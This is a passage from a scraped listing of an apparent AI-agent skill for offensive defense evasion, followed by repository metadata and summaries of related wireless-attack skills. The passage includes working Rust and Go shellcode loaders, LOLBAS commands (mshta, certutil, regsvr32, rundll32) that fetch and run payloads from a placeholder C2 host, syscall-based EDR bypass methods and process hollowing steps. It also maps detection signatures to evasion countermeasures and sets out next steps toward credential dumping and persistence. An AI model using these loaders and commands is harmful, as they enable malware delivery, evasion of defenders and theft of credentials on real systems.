&[ \u002F* \u003CKEY_BYTES> *\u002F ];\n\nfn main() {\n    let sc: Vec\u003Cu8> = ENC_SC.iter().enumerate().map(|(i, b)| b ^ KEY[i % KEY.len()]).collect();\n    unsafe {\n        let mem = VirtualAlloc(ptr::null(), sc.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n        ptr::copy_nonoverlapping(sc.as_ptr(), mem as *mut u8, sc.len());\n        let mut op: u32 = 0;\n        VirtualProtect(mem, sc.len(), PAGE_EXECUTE_READ, &mut op);\n        WaitForSingleObject(\n            CreateThread(ptr::null(), 0, Some(std::mem::transmute(mem)), ptr::null(), 0, ptr::null_mut()),\n            0xFFFFFFFF);\n    }\n}\n```\n\n### Go Shellcode Loader\n```go\n\u002F\u002F Build: GOOS=windows GOARCH=amd64 go build -ldflags=\"-s -w -H windowsgui\" go_loader.go\npackage main\nimport (\"syscall\"; \"unsafe\")\n\nvar encSC = []byte{ \u002F* \u003CENCRYPTED_SHELLCODE_BYTES> *\u002F }\nvar key = []byte{ \u002F* \u003CKEY_BYTES> *\u002F }\n\nfunc main() {\n    sc := make([]byte, len(encSC))\n    for i := range encSC { sc[i] = encSC[i] ^ key[i%len(key)] }\n    k32 := syscall.MustLoadDLL(\"kernel32.dll\")\n    addr, _, _ := k32.MustFindProc(\"VirtualAlloc\").Call(0, uintptr(len(sc)), 0x3000, 0x40)\n    syscall.MustLoadDLL(\"ntdll.dll\").MustFindProc(\"RtlCopyMemory\").Call(addr, uintptr(unsafe.Pointer(&sc[0])), uintptr(len(sc)))\n    t, _, _ := k32.MustFindProc(\"CreateThread\").Call(0, 0, addr, 0, 0, 0)\n    k32.MustFindProc(\"WaitForSingleObject\").Call(t, 0xFFFFFFFF)\n}\n```\n\n### Loader OPSEC Comparison\n| Language | Binary Size | AV Detection Rate | Notes |\n|----------|-------------|-------------------|-------|\n| Nim | ~50-100 KB | Low | Small, good Win API bindings |\n| Rust | ~150-300 KB | Low | Strong type safety, no runtime |\n| Go | ~2-5 MB | Low-Medium | Larger binary, distinct import table |\n| C\u002FC++ | ~10-50 KB | Medium | Well-known patterns, heavily signatured |\n| C# | ~10-30 KB | High | .NET metadata, AMSI applies |\n\n## 5. Direct & Indirect Syscalls\n\n### Concept\nSyscalls bypass userland API hooks placed by EDR on ntdll.dll functions. Instead of calling `NtAllocateVirtualMemory` through the hooked ntdll export, the code directly invokes the syscall instruction with the correct System Service Number (SSN).\n\n### Direct Syscalls\n```\nNormal API Call Flow (hooked by EDR):\n  Code → kernel32.dll → ntdll.dll [HOOKED] → syscall\n\nDirect Syscall Flow (bypasses hooks):\n  Code → syscall instruction (SSN resolved at runtime)\n```\n\n### Indirect Syscalls\n```\nIndirect Syscall Flow (stealthier):\n  Code → jump to 'syscall' instruction inside ntdll.dll\n  (Return address points to ntdll.dll, not our code)\n\nAdvantage: Call stack looks legitimate to EDR stack inspection\n```\n\n### SSN Resolution Methods\n| Method | Description | OPSEC |\n|--------|-------------|-------|\n| Hardcoded | SSNs baked into binary (version-specific) | Brittle, easy to detect |\n| Halo's Gate | Scan neighboring ntdll exports for unhooked SSNs | Medium |\n| Hell's Gate | Parse ntdll in memory to find SSNs | Medium |\n| Tartarus' Gate | Handle both hooked and unhooked neighbors | High |\n| FreshyCalls | Sort Zw* exports by address to derive SSNs | High |\n| SysWhispers3 | Generates syscall stubs with multiple techniques | Medium-High |\n\n### Tools\n```bash\n# SysWhispers3 — generate syscall stubs\npython3 syswhispers.py --preset common -o syscalls\u002F\n\n# Output: syscalls.h, syscalls.c, syscalls-asm.x64.asm\n# Integrate into C\u002FC++ loader project\n```\n\n## 6. LOLBAS (Living Off the Land Binaries and Scripts)\n\n### mshta.exe (T1218.005)\n```bash\n# Execute HTA payload\nmshta.exe http:\u002F\u002F\u003CC2_HOST>\u002Fpayload.hta\n\n# Inline VBScript execution\nmshta.exe vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell -ep bypass -f \\\\\u003CC2>\\share\\payload.ps1\"\", 0:close\")\n\n# OPSEC: mshta.exe spawning child processes is heavily monitored\n```\n\n### certutil.exe (T1140)\n```bash\n# Download file (encoded transfer)\ncertutil.exe -urlcache -split -f http:\u002F\u002F\u003CC2_HOST>\u002Fpayload.exe C:\\Windows\\Temp\\payload.exe\n\n# Base64 decode a payload\ncertutil.exe -decode C:\\Windows\\Temp\\encoded.b64 C:\\Windows\\Temp\\payload.exe\n\n# OPSEC: certutil network connections are high-fidelity alerts\n```\n\n### rundll32.exe (T1218.011)\n```bash\n# Execute DLL export\nrundll32.exe payload.dll,EntryPoint\n\n# Execute JavaScript\nrundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication\";document.write();h=new%20ActiveXObject(\"WScript.Shell\").Run(\"calc\")\n\n# Execute via URL (DLL from SMB)\nrundll32.exe \\\\\u003CC2_HOST>\\share\\payload.dll,Start\n```\n\n### regsvr32.exe (T1218.010)\n```bash\n# Execute SCT file (Squiblydoo)\nregsvr32.exe \u002Fs \u002Fn \u002Fu \u002Fi:http:\u002F\u002F\u003CC2_HOST>\u002Fpayload.sct scrobj.dll\n\n# Local SCT execution\nregsvr32.exe \u002Fs \u002Fn \u002Fu \u002Fi:C:\\Windows\\Temp\\payload.sct scrobj.dll\n\n# OPSEC: regsvr32 loading scrobj.dll is a well-known detection signature\n```\n\n### LOLBAS OPSEC Summary\n| Binary | Detection Risk | Common Alert | Mitigation |\n|--------|---------------|--------------|------------|\n| mshta.exe | High | Child process spawn, network conn | Use only if no alternative |\n| certutil.exe | Very High | `-urlcache` flag, network download | Prefer BITSAdmin or PowerShell |\n| rundll32.exe | Medium | Unusual DLL paths, network loads | Use legitimate-looking DLL paths |\n| regsvr32.exe | High | scrobj.dll load, network SCT fetch | Prefer local execution |\n\n## 7. Process Injection\n\n### Process Hollowing (T1055.012)\n```\nProcess Hollowing Steps:\n1. Create target process in SUSPENDED state\n   CreateProcessW(\"svchost.exe\", ..., CREATE_SUSPENDED)\n\n2. Unmap the original executable image\n   NtUnmapViewOfSection(hProcess, pImageBase)\n\n3. Allocate memory at the original base address\n   VirtualAllocEx(hProcess, pImageBase, imageSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)\n\n4. Write malicious PE image into allocated memory\n   WriteProcessMemory(hProcess, pImageBase, maliciousPE, imageSize)\n\n5. Update thread context to point to new entry point\n   SetThreadContext(hThread, &context)\n\n6. Resume the suspended thread\n   ResumeThread(hThread)\n```\n\n### Common Injection Targets\n| Process | Legitimacy | Risk |\n|---------|-----------|------|\n| svchost.exe | Runs many instances normally | Low (if correct parent) |\n| RuntimeBroker.exe | Common in user sessions | Low |\n| explorer.exe | Always running | Medium (single instance) |\n| notepad.exe | Spawned on demand | Medium (must justify spawn) |\n| dllhost.exe | COM surrogate, common | Low |\n\n### Injection OPSEC\n- **Parent-child relationship**: svchost.exe must have services.exe as parent\n- **Memory permissions**: Avoid RWX; use RW for write, then change to RX\n- **Unbacked memory**: EDRs flag executable memory not backed by a file on disk\n- **Thread creation**: `CreateRemoteThread` is heavily monitored; prefer APC injection\n- **Call stack**: Must look legitimate; use indirect syscalls for API calls\n\n## 8. Tools & Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| ScareCrow | EDR evasion payload generator | `https:\u002F\u002Fgithub.com\u002Foptiv\u002FScareCrow` |\n| SysWhispers3 | Syscall stub generator | `https:\u002F\u002Fgithub.com\u002FklezVirus\u002FSysWhispers3` |\n| Nimcrypt2 | Nim-based packer\u002Floader | `https:\u002F\u002Fgithub.com\u002Ficyguider\u002FNimcrypt2` |\n| Freeze | Payload creation with suspend\u002Finject | `https:\u002F\u002Fgithub.com\u002Foptiv\u002FFreeze` |\n| donut | PE\u002FDLL\u002FVBS\u002FJS to position-independent shellcode | `https:\u002F\u002Fgithub.com\u002FTheWover\u002Fdonut` |\n| LOLBAS Project | LOLBAS reference database | `https:\u002F\u002Flolbas-project.github.io\u002F` |\n| InlineWhispers | BOF-compatible syscall stubs | `https:\u002F\u002Fgithub.com\u002Foutflanknl\u002FInlineWhispers` |\n| SharpUnhooker | C# EDR unhooking utility | Community tool |\n\n## 9. Detection Signatures\n\n| Indicator | Signature \u002F Pattern | OPSEC Note |\n|-----------|-------------------|------------|\n| AMSI patch detection | Integrity check on `AmsiScanBuffer` first bytes | Use hardware breakpoint method instead |\n| ETW patch detection | `EtwEventWrite` starts with `0xC3` (ret) | Patch after EDR init, or use syscall-level patch |\n| Memory scan (RWX) | VirtualAlloc with PAGE_EXECUTE_READWRITE | Allocate RW, copy, then VirtualProtect to RX |\n| Unbacked executable memory | Executable pages not mapped to a file | Use module stomping or DLL hollowing |\n| Suspicious parent-child | mshta\u002Fcertutil\u002Frundll32 spawning cmd\u002Fpowershell | Match expected process trees |\n| Code signing mismatch | Certificate subject does not match binary metadata | Align PE metadata with spoofed cert |\n| Shellcode entropy | High entropy sections in PE or memory | Add low-entropy padding, use encoding layers |\n| .NET assembly loading | ETW Assembly.Load events from unusual processes | Patch ETW before loading, or use BOFs |\n| Syscall from non-ntdll | `syscall` instruction outside ntdll address range | Use indirect syscalls (jmp to ntdll gadget) |\n| Thread start address | Thread entry point in unbacked memory region | Use callback-based execution (timers, APCs) |\n\n## 10. Decision Gate\n\n### Defense Evasion Complete --- Next Steps\n\n```\nDefenses Bypassed (AV\u002FEDR\u002FAMSI\u002FETW neutralized)\n│\n├──→ Execution\n│    - Run payload\u002Fimplant on target\n│    - Execute post-exploitation tooling\n│    - Load C2 agent in memory\n│\n├──→ Persistence\n│    - Scheduled tasks with evasive payloads\n│    - Registry-based persistence (Run keys)\n│    - DLL sideloading in legitimate app directories\n│    - COM object hijacking\n│\n├──→ Credential Access\n│    - LSASS dump (with EDR bypassed)\n│    - SAM extraction\n│    - Kerberoasting \u002F AS-REP roasting\n│\n└──→ C2 Channel Establishment\n     - Deploy implant with evasion features\n     - Confirm callback through redirector\n     - Set jitter and sleep obfuscation\n```\n\n### Pre-Execution Checklist\n- [ ] AMSI bypassed in target PowerShell\u002FCLR context\n- [ ] ETW patched to prevent assembly load telemetry\n- [ ] Payload tested against target's AV\u002FEDR stack (or equivalent)\n- [ ] Custom loader compiled and signed (spoofed cert)\n- [ ] Injection target process identified and validated\n- [ ] Backup evasion technique prepared (if primary is burned)\n- [ ] OPSEC review: no test artifacts left on target\n\n## 11. Output Files\n\n```\n.\u002F\n├── implants\u002F\n│   ├── evasive_payload.exe        # ScareCrow-generated payload\n│   ├── evasive_payload.dll        # DLL variant for sideloading\n│   └── shellcode.bin              # Raw shellcode input\n├── loaders\u002F\n│   ├── nim_loader.nim             # Nim custom loader source\n│   ├── rust_loader\u002F               # Rust loader project\n│   └── go_loader.go              # Go loader source\n├── syscalls\u002F\n│   ├── syscalls.h                 # SysWhispers3 output\n│   ├── syscalls.c                 # Syscall implementations\n│   └── syscalls-asm.x64.asm       # Assembly stubs\n└── evasion_test_results.md        # AV\u002FEDR test outcomes\n```\n\n## Bundled Resources\n\n### References\n- `references\u002Famsi-bypass-techniques.md` — AMSI architecture, memory patching (AmsiScanBuffer), hardware breakpoints, reflection bypasses, ETW patching, detection vectors, layered bypass approach. Read when selecting AMSI\u002FETW bypass technique for target environment.\n",{"name":5,"metadata":24,"description":7,"allowed-tools":28},{"tags":25,"subdomain":5,"when_to_use":26,"mitre_attack":27},"amsi, etw, edr, scarecrow, loader, syscall, lolbas, injection, evasion","AMSI bypass, ETW patch, EDR evasion, ScareCrow, custom loader, syscall, LOLBAS, process injection, defense evasion, AV bypass","T1562, T1027, T1055, T1218, T1036, T1140","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fshared\u002Fdefense-evasion",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":37,"prompt":47,"zipAvailable":48},[38,41,44],{"tool":39,"command":40},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill defense-evasion",{"tool":42,"command":43},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill defense-evasion",{"tool":45,"command":46},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill defense-evasion","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fshared\u002Fdefense-evasion\u002FSKILL.md",true,[50,56],{"path":51,"resourceType":52,"resourceTypeDesc":53,"sizeBytes":54,"sourceHtmlUrl":55},"references\u002Famsi-bypass-techniques.md","REFERENCE","参考文档",3530,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fshared\u002Fdefense-evasion\u002Freferences\u002Famsi-bypass-techniques.md",{"path":57,"resourceType":52,"resourceTypeDesc":53,"sizeBytes":58,"sourceHtmlUrl":59},"references\u002Fmodern-evasion-techniques.md",33710,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fshared\u002Fdefense-evasion\u002Freferences\u002Fmodern-evasion-techniques.md",[61,68,75,82,89,96],{"skillNo":62,"name":63,"nameZh":6,"description":64,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":65,"categories":66,"keywords":67,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":69,"name":70,"nameZh":6,"description":71,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":72,"categories":73,"keywords":74,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":76,"name":77,"nameZh":6,"description":78,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":86,"categories":87,"keywords":88,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":90,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":93,"categories":94,"keywords":95,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":100,"categories":101,"keywords":102,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]